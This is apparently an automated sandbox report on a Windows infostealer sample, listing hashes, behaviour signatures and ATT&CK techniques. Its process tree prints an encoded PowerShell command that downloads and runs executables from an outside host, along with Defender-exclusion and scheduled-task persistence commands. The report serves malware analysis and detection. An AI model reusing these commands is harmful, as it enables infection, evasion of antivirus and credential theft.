cc97b59379bc6eafe5c5c9dc66f16d4795270e01dce613652359bc852ba0665a

Analysis

max time kernel
149s
max time network
149s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
11/07/2024, 02:51

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bot_start.exe
Size

2.5MB
MD5

62dec8c537e3aa76b294ab744b20d245
SHA1

1f4ec4852cd84d32a0d26ba0e163a373811eaebd
SHA256

cc97b59379bc6eafe5c5c9dc66f16d4795270e01dce613652359bc852ba0665a
SHA512

f47bbf3260f0124ec947b3a37ce316700481a8c4d5d984c9012df85673eb0d2c8777396e5a957cfc900ed509045e50d196558e931a84df146115e950abd8f6a7
SSDEEP

49152:SNkG6I1nPFf56dv26ot3VwBtF+kze3xqH1Hm4I6qxOli96Jyn5tzEde3Yx:S/fP9se6ot3VwBtF+kzeQHMdLcK6EtzY

Score

10^/10

execution spyware stealer

Malware Config

Signatures

Process spawned unexpected child process 15 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2428	1396	schtasks.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	960	1396	schtasks.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3020	1396	schtasks.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1364	1396	schtasks.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1904	1396	schtasks.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	868	1396	schtasks.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1596	1396	schtasks.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2420	1396	schtasks.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1216	1396	schtasks.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1776	1396	schtasks.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	848	1396	schtasks.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3024	1396	schtasks.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2216	1396	schtasks.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1716	1396	schtasks.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2384	1396	schtasks.exe	39

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	2300	powershell.exe
7	2300	powershell.exe
9	2300	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2300	powershell.exe
1004	powershell.exe
896	powershell.exe
1996	powershell.exe
2372	powershell.exe
2184	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 4 IoCs

pid	Process
1148	tthyperRuntimedhcpSvc.exe
1108	VC_redistx64.exe
2204	rundll32.exe
1128	service.exe

Loads dropped DLL 4 IoCs

pid	Process
2300	powershell.exe
2300	powershell.exe
2300	powershell.exe
2300	powershell.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Suspicious use of NtSetInformationThreadHideFromDebugger 27 IoCs

pid	Process
2940	bot_start.exe
2940	bot_start.exe
1108	VC_redistx64.exe
1108	VC_redistx64.exe
1108	VC_redistx64.exe
1108	VC_redistx64.exe
1108	VC_redistx64.exe
1128	service.exe
1108	VC_redistx64.exe
1128	service.exe
1108	VC_redistx64.exe
1128	service.exe
1108	VC_redistx64.exe
1128	service.exe
1108	VC_redistx64.exe
1128	service.exe
1108	VC_redistx64.exe
1128	service.exe
1108	VC_redistx64.exe
1128	service.exe
1108	VC_redistx64.exe
1128	service.exe
1108	VC_redistx64.exe
1128	service.exe
1108	VC_redistx64.exe
1128	service.exe
1108	VC_redistx64.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\Internet Explorer\csrss.exe	tthyperRuntimedhcpSvc.exe
File created	C:\Program Files (x86)\Internet Explorer\886983d96e3d3e	tthyperRuntimedhcpSvc.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\debug\WIA\spoolsv.exe	tthyperRuntimedhcpSvc.exe
File created	C:\Windows\debug\WIA\f3b6ecef712a24	tthyperRuntimedhcpSvc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3450744190-3404161390-554719085-1000_Classes\Local Settings	rundll32.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2576	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 17 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1596	schtasks.exe
960	schtasks.exe
848	schtasks.exe
1784	schtasks.exe
1716	schtasks.exe
320	schtasks.exe
2428	schtasks.exe
3020	schtasks.exe
868	schtasks.exe
2420	schtasks.exe
1216	schtasks.exe
3024	schtasks.exe
1364	schtasks.exe
1904	schtasks.exe
1776	schtasks.exe
2216	schtasks.exe
2384	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2300	powershell.exe
2300	powershell.exe
2300	powershell.exe
2300	powershell.exe
2300	powershell.exe
2300	powershell.exe
2300	powershell.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe
1148	tthyperRuntimedhcpSvc.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
1512	rundll32.exe
2204	rundll32.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	2300	powershell.exe
Token: SeDebugPrivilege	1148	tthyperRuntimedhcpSvc.exe
Token: SeDebugPrivilege	2184	powershell.exe
Token: SeDebugPrivilege	1004	powershell.exe
Token: SeDebugPrivilege	896	powershell.exe
Token: SeDebugPrivilege	2372	powershell.exe
Token: SeDebugPrivilege	1996	powershell.exe
Token: SeDebugPrivilege	2204	rundll32.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2940	bot_start.exe
1108	VC_redistx64.exe
1128	service.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2940 wrote to memory of 2300	2940	bot_start.exe	31
PID 2940 wrote to memory of 2300	2940	bot_start.exe	31
PID 2940 wrote to memory of 2300	2940	bot_start.exe	31
PID 2940 wrote to memory of 2300	2940	bot_start.exe	31
PID 2300 wrote to memory of 1148	2300	powershell.exe	33
PID 2300 wrote to memory of 1148	2300	powershell.exe	33
PID 2300 wrote to memory of 1148	2300	powershell.exe	33
PID 2300 wrote to memory of 1148	2300	powershell.exe	33
PID 2300 wrote to memory of 1512	2300	powershell.exe	34
PID 2300 wrote to memory of 1512	2300	powershell.exe	34
PID 2300 wrote to memory of 1512	2300	powershell.exe	34
PID 2300 wrote to memory of 1512	2300	powershell.exe	34
PID 2300 wrote to memory of 1512	2300	powershell.exe	34
PID 2300 wrote to memory of 1512	2300	powershell.exe	34
PID 2300 wrote to memory of 1512	2300	powershell.exe	34
PID 2300 wrote to memory of 1108	2300	powershell.exe	35
PID 2300 wrote to memory of 1108	2300	powershell.exe	35
PID 2300 wrote to memory of 1108	2300	powershell.exe	35
PID 2300 wrote to memory of 1108	2300	powershell.exe	35
PID 1108 wrote to memory of 1436	1108	VC_redistx64.exe	36
PID 1108 wrote to memory of 1436	1108	VC_redistx64.exe	36
PID 1108 wrote to memory of 1436	1108	VC_redistx64.exe	36
PID 1108 wrote to memory of 1436	1108	VC_redistx64.exe	36
PID 1436 wrote to memory of 320	1436	cmd.exe	38
PID 1436 wrote to memory of 320	1436	cmd.exe	38
PID 1436 wrote to memory of 320	1436	cmd.exe	38
PID 1436 wrote to memory of 320	1436	cmd.exe	38
PID 1148 wrote to memory of 2184	1148	tthyperRuntimedhcpSvc.exe	55
PID 1148 wrote to memory of 2184	1148	tthyperRuntimedhcpSvc.exe	55
PID 1148 wrote to memory of 2184	1148	tthyperRuntimedhcpSvc.exe	55
PID 1148 wrote to memory of 2372	1148	tthyperRuntimedhcpSvc.exe	56
PID 1148 wrote to memory of 2372	1148	tthyperRuntimedhcpSvc.exe	56
PID 1148 wrote to memory of 2372	1148	tthyperRuntimedhcpSvc.exe	56
PID 1148 wrote to memory of 1996	1148	tthyperRuntimedhcpSvc.exe	58
PID 1148 wrote to memory of 1996	1148	tthyperRuntimedhcpSvc.exe	58
PID 1148 wrote to memory of 1996	1148	tthyperRuntimedhcpSvc.exe	58
PID 1148 wrote to memory of 896	1148	tthyperRuntimedhcpSvc.exe	59
PID 1148 wrote to memory of 896	1148	tthyperRuntimedhcpSvc.exe	59
PID 1148 wrote to memory of 896	1148	tthyperRuntimedhcpSvc.exe	59
PID 1148 wrote to memory of 1004	1148	tthyperRuntimedhcpSvc.exe	60
PID 1148 wrote to memory of 1004	1148	tthyperRuntimedhcpSvc.exe	60
PID 1148 wrote to memory of 1004	1148	tthyperRuntimedhcpSvc.exe	60
PID 1148 wrote to memory of 1640	1148	tthyperRuntimedhcpSvc.exe	65
PID 1148 wrote to memory of 1640	1148	tthyperRuntimedhcpSvc.exe	65
PID 1148 wrote to memory of 1640	1148	tthyperRuntimedhcpSvc.exe	65
PID 1640 wrote to memory of 2548	1640	cmd.exe	67
PID 1640 wrote to memory of 2548	1640	cmd.exe	67
PID 1640 wrote to memory of 2548	1640	cmd.exe	67
PID 1640 wrote to memory of 2576	1640	cmd.exe	68
PID 1640 wrote to memory of 2576	1640	cmd.exe	68
PID 1640 wrote to memory of 2576	1640	cmd.exe	68
PID 1640 wrote to memory of 2204	1640	cmd.exe	69
PID 1640 wrote to memory of 2204	1640	cmd.exe	69
PID 1640 wrote to memory of 2204	1640	cmd.exe	69
PID 1740 wrote to memory of 1128	1740	taskeng.exe	71
PID 1740 wrote to memory of 1128	1740	taskeng.exe	71
PID 1740 wrote to memory of 1128	1740	taskeng.exe	71
PID 1740 wrote to memory of 1128	1740	taskeng.exe	71
PID 1128 wrote to memory of 2928	1128	service.exe	72
PID 1128 wrote to memory of 2928	1128	service.exe	72
PID 1128 wrote to memory of 2928	1128	service.exe	72
PID 1128 wrote to memory of 2928	1128	service.exe	72
PID 2928 wrote to memory of 1784	2928	cmd.exe	74
PID 2928 wrote to memory of 1784	2928	cmd.exe	74

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\bot_start.exe
"C:\Users\Admin\AppData\Local\Temp\bot_start.exe"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2940
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHcAbgB1ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAagBnAGQAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAcABlAHQAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgBrAGkAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGIAbwBvAGsAcgBlAGEAZABpAG4AZwAyADAAMgA0AC4AbgBlAHQALwByAGUAbQBvAHQAZQAvAHQAdABoAHkAcABlAHIAUgB1AG4AdABpAG0AZQBkAGgAYwBwAFMAdgBjAC4AZQB4AGUAJwAsACAAPAAjAGsAbgB5ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAYgBzAGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAcAB6AGEAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAdAB0AGgAeQBwAGUAcgBSAHUAbgB0AGkAbQBlAGQAaABjAHAAUwB2AGMALgBlAHgAZQAnACkAKQA8ACMAcwB5AHUAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYgBvAG8AawByAGUAYQBkAGkAbgBnADIAMAAyADQALgBuAGUAdAAvAGMAbAAvAG0AYQBpAG4ALgBwAHkAJwAsACAAPAAjAHkAcgBkACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAZAByAHQAIwA+ACAALQBQAGEAdABoACAAKAAkAHAAdwBkACkALgBwAGEAdABoACAAPAAjAGUAagBlACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG0AYQBpAG4ALgBwAHkAJwApACkAPAAjAGUAZQBrACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGIAbwBvAGsAcgBlAGEAZABpAG4AZwAyADAAMgA0AC4AbgBlAHQALwBjAC8AVgBDAF8AcgBlAGQAaQBzAHQAeAA2ADQALgBlAHgAZQAnACwAIAA8ACMAegB6AGoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBiAGYAegAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBuAHAAaAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEMAXwByAGUAZABpAHMAdAB4ADYANAAuAGUAeABlACcAKQApADwAIwBuAGEAbAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBhAGcAZgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAbgBjAGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAdAB0AGgAeQBwAGUAcgBSAHUAbgB0AGkAbQBlAGQAaABjAHAAUwB2AGMALgBlAHgAZQAnACkAPAAjAGUAZQBsACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHQAYwByACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAoACQAcAB3AGQAKQAuAHAAYQB0AGgAIAA8ACMAaQBpAGIAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbQBhAGkAbgAuAHAAeQAnACkAPAAjAHUAdwB1ACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHEAbQB3ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwB1AHgAYQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBWAEMAXwByAGUAZABpAHMAdAB4ADYANAAuAGUAeABlACcAKQA8ACMAbABqAHEAIwA+AA=="
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Loads dropped DLL
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2300
- - C:\Users\Admin\AppData\Roaming\tthyperRuntimedhcpSvc.exe
    "C:\Users\Admin\AppData\Roaming\tthyperRuntimedhcpSvc.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1148
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\MSOCache\All Users\rundll32.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:2184
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\debug\WIA\spoolsv.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:2372
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\MSOCache\All Users\{90140000-0117-0409-0000-0000000FF1CE}-C\Access.en-us\sppsvc.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:1996
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Internet Explorer\csrss.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:896
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\MSOCache\All Users\{90140000-0016-0409-0000-0000000FF1CE}-C\sppsvc.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious use of AdjustPrivilegeToken
      PID:1004
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\ke5lW7llGp.bat"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1640
    - - C:\Windows\system32\chcp.com
        
        chcp 65001
        5⤵
        
        PID:2548
    - - C:\Windows\system32\PING.EXE
        
        ping -n 10 localhost
        5⤵
        Runs ping.exe
        
        PID:2576
    - - C:\MSOCache\All Users\rundll32.exe
        
        "C:\MSOCache\All Users\rundll32.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of AdjustPrivilegeToken
        
        PID:2204
- - C:\Windows\SysWOW64\rundll32.exe
    "C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Temp\main.py
    3⤵
    - Modifies registry class
    - Suspicious behavior: GetForegroundWindowSpam
    PID:1512
- - C:\Users\Admin\AppData\Roaming\VC_redistx64.exe
    "C:\Users\Admin\AppData\Roaming\VC_redistx64.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1108
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C schtasks /create /tn MyApp /tr %APPDATA%\service.exe /st 00:00 /du 9999:59 /sc daily /ri 1 /f
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1436
    - - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn MyApp /tr C:\Users\Admin\AppData\Roaming\service.exe /st 00:00 /du 9999:59 /sc daily /ri 1 /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:320

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "rundll32r" /sc MINUTE /mo 13 /tr "'C:\MSOCache\All Users\rundll32.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2428

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "rundll32" /sc ONLOGON /tr "'C:\MSOCache\All Users\rundll32.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:960

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "rundll32r" /sc MINUTE /mo 13 /tr "'C:\MSOCache\All Users\rundll32.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3020

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 6 /tr "'C:\Windows\debug\WIA\spoolsv.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1364

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsv" /sc ONLOGON /tr "'C:\Windows\debug\WIA\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1904

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "spoolsvs" /sc MINUTE /mo 10 /tr "'C:\Windows\debug\WIA\spoolsv.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:868

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 8 /tr "'C:\MSOCache\All Users\{90140000-0117-0409-0000-0000000FF1CE}-C\Access.en-us\sppsvc.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1596

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0117-0409-0000-0000000FF1CE}-C\Access.en-us\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2420

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 11 /tr "'C:\MSOCache\All Users\{90140000-0117-0409-0000-0000000FF1CE}-C\Access.en-us\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1216

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 13 /tr "'C:\Program Files (x86)\Internet Explorer\csrss.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1776

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Program Files (x86)\Internet Explorer\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:848

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\Internet Explorer\csrss.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:3024

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 13 /tr "'C:\MSOCache\All Users\{90140000-0016-0409-0000-0000000FF1CE}-C\sppsvc.exe'" /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2216

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-0016-0409-0000-0000000FF1CE}-C\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:1716

C:\Windows\system32\schtasks.exe
schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 14 /tr "'C:\MSOCache\All Users\{90140000-0016-0409-0000-0000000FF1CE}-C\sppsvc.exe'" /rl HIGHEST /f
1⤵
- Process spawned unexpected child process
- Scheduled Task/Job: Scheduled Task
PID:2384

C:\Windows\system32\taskeng.exe
taskeng.exe {3DB880CA-6B29-4D4A-9CC0-C622C0C6EB07} S-1-5-21-3450744190-3404161390-554719085-1000:PDIZKVQX\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:1740
- C:\Users\Admin\AppData\Roaming\service.exe
  C:\Users\Admin\AppData\Roaming\service.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1128
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C schtasks /create /tn MyApp /tr %APPDATA%\service.exe /st 00:00 /du 9999:59 /sc daily /ri 1 /f
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2928
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn MyApp /tr C:\Users\Admin\AppData\Roaming\service.exe /st 00:00 /du 9999:59 /sc daily /ri 1 /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1784

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
304B

MD5
a2854545ad496dd92d57f9f23f186fa9

SHA1
800778975f712c2e6714e0963cf4a9f913e15065

SHA256
88197a32e40f173b981d5d08b3b60eb4eeae36715c3f5caae98dfa3b7a890649

SHA512
bfaa4e2649e85870dbc8d0fe89a04cddfe779b1a38c46adc3cd71fe84ad8624007972e4d2c93441c78c40c1a5ac0572b9f9bc1bd06dc9b48dc8f53845ad742a2

Download Submit
C:\Users\Admin\AppData\Local\Temp\CabF7D8.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
